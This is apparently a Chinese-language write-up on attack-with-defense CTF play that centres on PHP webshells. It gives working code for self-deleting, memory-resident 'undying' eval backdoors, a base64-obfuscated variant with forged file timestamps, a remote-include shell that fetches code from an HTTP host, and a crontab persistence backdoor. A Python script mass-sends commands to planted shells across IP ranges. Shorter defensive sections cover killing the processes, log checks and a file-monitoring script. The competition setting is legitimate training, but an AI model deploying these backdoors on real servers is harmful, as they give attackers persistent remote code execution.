传统的一句话马子的password也就是传参值name而已。如果知道这个值 就可以反向控制马子了
典型🐎
这里讲一下不死马:
这里创建index.php
文件内容如下, 该文件会删除自身 并活跃在内存中,一直创建webshell。通过url访问 并且保持链接活会话...
灵魂所在也就是这个5秒创建文件...
<?php
ignore_user_abort(true); # 断开客户端 不会终止运行
set_time_limit(0); # 设置后台运行的时间,0表示布尔值 能一直在后台运行
@unlink(__FILE__); # 删除本身
$file = '.ZYGS.php';
$code = '<?php if(md5($_GET["zygs"])=="77c5ee4503c9c1200b894a77708a98fc"){@eval($_POST["ZYGS"]);}?>';
# 密码验证也就是参数验证。
while (1){
file_put_contents($file,$code);
usleep(5000); # 5000毫秒也就是5秒写入一个文件
}
下面是生成的.ZYGS.php'
文件,通过对参数进行设置验证,防止别人用这个马子~
密码为123456
,下面是使用例子:
<?php if(md5($_GET["zygs"])=="e10adc3949ba59abbe56e057f20f883e"){@eval($_POST["ZYGS"]);}?>
再观察一下马子的权限,其他人只能进行读操作。普通用户不能写入文件(一般awd
不给root,只有普通用户,我记得是)。
查杀
- 直接重启服务器,简单粗暴。(比赛一般不允许~)
- 重启web服务。(普通用户没权限)
- 已知文件是
www-data
权限 那我们以它的视角去做一些措施~ 通过ps获取到总进程id,并且过滤为www-data
在通过awk
进行格式化获取到进程id,最后kill掉~
ps -aux | grep 'www-data' | awk '{print($2)}' | xargs kill -9
或者是php-fpm
进程
ps -ef | grep php-fpm | awk '{print $2}' | xargs kill -9
注意命令不能在终端使用,而是创建php文件来调用~
<?php
system("ps -aux | grep 'www-data' | awk '{print($2)}' | xargs kill -9");
因为通道问题,这里的删除操作得分开操作。或者执行命令php -r "unlink('./.ZYGS.php');";
<?php unlink("./.ZYGS.php");?>
注意~ 一定得先把webshell主进程kill掉 再来删文件,否则杀不完的...
- 分析
log
,apache配置默认在/etc/apache2/apache2.conf
,找一下${APACHE_LOG_DIR}/access.log
/var/log/apache2/
/usr/local/apache2/logs
- 有的马子会伪造为系统本地文件, 并且修改文件被创建的时间
<?php system('touch -m -d "2023-12-01 09:10:12" .config.php');
没修改时间,那就查找固定时间段哪些文件有变动
find / -name *.php -mtime -1 -ls # 搜索前一天
find / -name *.php -mmin -60 -ls # 搜索前一小时s
最后备份源码,然后再进行对比。比如diff -r
或者 tree
看目录树...
- 条件竞争,只用存在
usleep()
中,否则寄~ 原理利用www-data
权限去覆盖它的马子文件,前提需要知道sleep时间。或者一直死循环覆盖(不太管用)...
<?php
ignore_user_abort(true);
set_time_limit(0);
$file = '.shell.php';
$code = '6';
while (1){
file_put_contents($file,$code);
usleep(1000); # 时间小于马子的
}
或者创建和马子同名文件夹。
远程包含🐎
原理和上面的差不多~
# aaa.txt:
@phpinfo();
<?php
$remote_file = 'http://10.16.132.41/aaa.txt';
$code = file_get_contents($remote_file);
eval($code);
shell🐎
通过执行shell命令来生🐎,原理和典型差不多
<?php
system('while true;do echo \'<?php if(md5($_GET[pass])=="3a50065e1709acc47ba0c9238294364f"){@eval($_GET[a]);} ?>\' >fuc.php;sleep 0.1;done;');
可以追踪进程查看,然后通过www-data
kill掉,再删马
监控脚本
自己写的一个用于监控文件的脚本,勉强能用...
# by main1o
import os
import subprocess
def main1o():
while True:
try:
lists = scanFile()
for i in lists:
loadFile(i)
except KeyboardInterrupt:
exit("[-]退出脚本")
def scanFile():
command = "find -name '*.php' -mmin -10" # 10分钟内被修改的文件
sp = subprocess.Popen(command,shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
STDOUT,STDERR = sp.communicate()
return STDOUT.decode().split("\n")
def loadFile(filename):
if not os.path.exists(filename):
return False
with open(filename,"r") as f1,open("./fileStatus.txt","a+") as f2:
_data = f"文件名:{filename}\n内容:{f1.read()}\n\n"
if f1:
if _data not in f2.read():
f2.write(_data)
delete = subprocess.Popen(f"rm -rf {filename}",shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
delete.communicate()
print(f"检查到文件被修改: {filename}")
种马
写的一个普通马,密码main1o666
<?php
ignore_user_abort(true);
set_time_limit(0);
@unlink(__FILE__);
function main1o($filename,$code){
while(TRUE){
file_put_contents($filename,base64_decode($code));
system('touch -m -d "2020-9-25 10:10:10" .aria2c.php');
usleep(50000);
}
}
main1o(".aria2c.php",'PD9waHAKICAgIGlmKHN1YnN0cihtZDUoJF9HRVRbIm0iXSksMCw0KSA9PT0gImYxNDIiKXsKICAgICAgICBldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUWyJjb2RlIl0pKTsKICAgIH0=');
GetFlag:
for就不改了,多线程也不上。懒~
import requests
import base64
def main1o(passwd):
files = {
".aria2c.php",
".shell.php" # 这里放已知webshell
}
payloads = {"cat /flag", "cat /flag.txt"}
while (True):
for i in range(9, 11):
for port in [80, 8080]:
for filename in files:
url = f"http://10.10.{i}.128:{port}/{filename}?m={passwd}"
for pay in payloads:
data = {
"code": base64.b64encode(f"system('{pay}');".encode()).decode()
}
try:
respone = requests.post(url=url, data=data,timeout=5).text
print(f"{url} \n{respone}\n")
except:
pass
main1o("main1o666")
计划任务马
通过php写入计划任务去
system('echo "* * * * * echo \"<?php if(md5(\\\\\\\\\$_POST[pass])==\'7bae7e68e0663f06e9740289b8eaaaa3\'){@eval(\\\\\\\\\$_POST[1]);} \" > /var/www/html/.s.php\n* * * * * chmod 777 /var/www/html/.s.php" | crontab;whoami');
删除任务
<?php
system("crontab -r");
干扰
批量假包进行扰乱